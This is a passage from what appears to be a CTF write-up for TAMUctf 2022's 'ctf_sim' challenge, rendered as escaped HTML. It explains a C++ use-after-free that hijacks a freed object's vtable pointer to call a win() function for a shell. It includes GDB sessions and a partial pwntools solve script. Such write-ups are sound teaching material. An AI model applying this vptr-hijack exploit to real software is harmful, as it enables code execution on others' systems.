https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp 1310w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1310px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1316 / 630&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp 1316w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1316px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now we&#39;ll continue running and feed it input for solving our &lt;code&gt;forensics&lt;/code&gt; challenge.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our breakpoint gets triggered. Notice the interesting chain of addresses in the &lt;code&gt;rax&lt;/code&gt; register in the image below. There&#39;s a chain of 3 addresses:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the address of the &lt;code&gt;forensics&lt;/code&gt; object vptr... which points to...&lt;/li&gt;
&lt;li&gt;the address of the &lt;code&gt;forensics&lt;/code&gt; vtable... which points to...&lt;/li&gt;
&lt;li&gt;the address of &lt;code&gt;forensics::solve&lt;/code&gt;...
&lt;ul&gt;
&lt;li&gt;which is eventually called in assembly (&lt;code&gt;call rax&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1308 / 1142&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp 1308w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1308px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So &lt;em&gt;this&lt;/em&gt; is what happens when we call a virtual function... InTeReStInG!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/interesting-1280w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/interesting-1280w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1280 / 720&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/interesting-256w.webp 256w, https://trebledj.me/img/interesting-512w.webp 512w, https://trebledj.me/img/interesting-1024w.webp 1024w, https://trebledj.me/img/interesting-1280w.webp 1280w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1280px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s continue so that it finishes &lt;code&gt;delete&lt;/code&gt;-ing the chunk, and let&#39;s check the heap state again:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^C&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1310 / 392&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp 1310w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1310px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It appears that our &lt;code&gt;forensics&lt;/code&gt; vptr has been replaced with some other data. 😢 But no worries! We&#39;ll just continue with our third action: submitting a writeup.&lt;/p&gt;
&lt;p&gt;Since we want to reuse the chunk previously deallocated, we want to make sure the chunk we allocate when submitting the writeup isn&#39;t too big. But the chunk shouldn&#39;t be too small either: we want it to be at least 9 bytes, so that it could fit 8 bytes of payload plus a null terminator. So we&#39;ll settle for 16 bytes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;AABBCCDD&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1308 / 358&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp 1308w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1308px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s check our heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&gt;&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1314 / 394&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp 1314w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1314px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sweet! We&#39;ve overwritten the first 8 bytes of the chunk with our payload. Effectively, we&#39;ve assigned a custom vptr to the &lt;code&gt;forensics&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;&amp;quot;But bruh I thought our &lt;code&gt;forensics&lt;/code&gt; object was deallocated!&amp;quot;&lt;/p&gt;
&lt;p&gt;Well yes... but actually no... Objects in C/C++ are merely represented in memory as a sequence of bytes. You can interpret a sequence of bytes as any type. That&#39;s why casting across types is a thing in C/C++—albeit potentially dangerous. (In C, you&#39;d use the usual cast &lt;code&gt;(type*)&amp;amp;obj&lt;/code&gt;. In C++, you&#39;d use &lt;code&gt;reinterpret_cast&amp;lt;type*&amp;gt;(&amp;amp;obj)&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Now when we call &lt;code&gt;solveChallenge&lt;/code&gt;, the line &lt;code&gt;downloaded[index]-&amp;gt;solve()&lt;/code&gt; will treat our chunk as a &lt;code&gt;challenge*&lt;/code&gt;. It was originally &lt;em&gt;supposed&lt;/em&gt; to be a &lt;code&gt;char*&lt;/code&gt;, since we submitted a writeup. But since types don&#39;t matter in the assembly/memory level, the chunk is now a &lt;code&gt;challenge*&lt;/code&gt; for all intents and purposes.&lt;/p&gt;
&lt;p&gt;Since the chunk is treated as a &lt;code&gt;challenge*&lt;/code&gt;, the assembly will try to double-deref the vptr... which is our payload from submitting the writeup.&lt;/p&gt;
&lt;p&gt;Boom! Exploit.&lt;/p&gt;
&lt;p&gt;If we continue running the program, a SIGSEGV occurs since it tries to dereference &lt;code&gt;0x4444434342424141&lt;/code&gt; (which is &lt;code&gt;&amp;quot;AABBCCDD&amp;quot;&lt;/code&gt;, but packed to 64 bits).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1324 / 542&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp 1324w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1324px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Later on, we&#39;ll use &lt;code&gt;win_addr&lt;/code&gt; instead of &lt;code&gt;&amp;quot;AABBCCDD&amp;quot;&lt;/code&gt; for our payload; so that when the &lt;code&gt;solve()&lt;/code&gt; virtual function does its magic, it will call &lt;code&gt;win()&lt;/code&gt; instead.&lt;/p&gt;
&lt;h4 id=&quot;altogether&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#altogether&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Altogether&lt;/h4&gt;
&lt;p&gt;Combining our knowledge of vtables/vpointers with a little bit of heap knowledge, we come up with the following exploit:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# downloaded[0] = new forensics;   (vptr points to forensic&#39;s vtable.)&lt;/span&gt;
download_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Chunk is allocated-- reusing the chunk previously deallocated.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Overwrite vptr of downloaded[0] with &amp;amp;(&amp;amp;win).&lt;/span&gt;
submit_writeup&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;win_addr&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0]-&amp;gt;solve() triggers double dereference (due to virtual function resolution) and calls win()!&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To explain the &amp;quot;little bit of heap knowledge&amp;quot;, we just need to understand that C++&#39;s &lt;code&gt;new&lt;/code&gt;/&lt;code&gt;delete&lt;/code&gt; behaves like C&#39;s &lt;code&gt;malloc&lt;/code&gt;/&lt;code&gt;free&lt;/code&gt;: &lt;code&gt;new&lt;/code&gt; will allocate a chunk, and &lt;code&gt;delete&lt;/code&gt; will move the chunk to a bin. There are tons of different bins (small, large, fast, unsorted). But intuitively, the next &lt;code&gt;new&lt;/code&gt; with a similar chunk size will reuse the chunk, meaning we overwrite the same memory previously allocated!&lt;/p&gt;
&lt;p&gt;This story is reflected in the code above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We download a challenge. This will &lt;code&gt;new&lt;/code&gt; a chunk. The index and type of challenge (&lt;code&gt;forensic&lt;/code&gt;, &lt;code&gt;pwn&lt;/code&gt;, etc.) don&#39;t really matter, but just make sure we keep reusing the same index.&lt;/li&gt;
&lt;li&gt;We solve a challenge. Here we &lt;code&gt;delete&lt;/code&gt; the chunk previously allocated.&lt;/li&gt;
&lt;li&gt;We submit a writeup. This &lt;code&gt;malloc&lt;/code&gt;s a chunk and inserts a payload of &lt;code&gt;win_addr&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;The size to malloc can be anywhere between &lt;code&gt;0x8&lt;/code&gt; (exclusive) and &lt;code&gt;0x18&lt;/code&gt; (inclusive). I used &lt;code&gt;0x10&lt;/code&gt; since it looks pretty.&lt;/li&gt;
&lt;li&gt;Anything equal or less than &lt;code&gt;0x8&lt;/code&gt; means our 8-byte payload will be cut off early. All 8 bytes are important, because the vptr machinery will be using the entire 8 bytes.&lt;/li&gt;
&lt;li&gt;Anything above &lt;code&gt;0x18&lt;/code&gt; will allocate a new chunk instead of reusing the previously deallocated chunk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We solve the same challenge as before. This triggers a call to a virtual function which double-derefs our payload (&lt;code&gt;win_addr&lt;/code&gt;), calling &lt;code&gt;win()&lt;/code&gt; and giving us a shell. PROFIT!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;solve-scripts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#solve-scripts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Scripts&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

binary &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;ctf_sim&#39;&lt;/span&gt;

context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;binary &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; binary
context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;log_level &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;debug&#39;&lt;/span&gt;

elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;binary&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
rop &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ROP&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;binary&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ctf-sim&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;download_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; save_index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; category &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; save_index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;save_index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

